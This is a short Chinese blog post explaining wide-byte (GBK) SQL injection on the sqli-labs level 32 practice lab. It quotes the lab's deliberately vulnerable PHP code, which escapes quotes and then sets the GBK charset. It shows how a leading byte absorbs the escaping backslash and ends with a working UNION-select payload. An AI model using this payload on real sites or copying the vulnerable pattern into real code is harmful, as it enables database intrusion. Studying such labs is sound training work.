1.宽字节注入

其余web文章参考:web学习目录

宽字节注入目的是绕过单双引号转义,以sqli-lab-32为例

2\'
325c27
服务器会将单双引号进行转义,由原来定义字符串的特殊字符转义为普通字符

代码分析

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    
//这里单双引号被转义,没有其他过滤 
    
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");  //将与数据库交互的字符编码设置为了GBK
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

GBK编码

GBK汉字编码方案,双字节编码,两个字节作为一个汉字。GBK编码范围【8140,FEFE】,可以通过

。注意到5C在GBK编码的低位范围之内【40,FE】。在5C之前添加一个字符【81,FE】之间,该字符就会和5C组成一个汉字

?id=2%cb' and 1=2 union select 1,database(),3 --+
posted @ 2023-03-30 11:09  热死也要烫头  阅读(30)  评论(0编辑  收藏  举报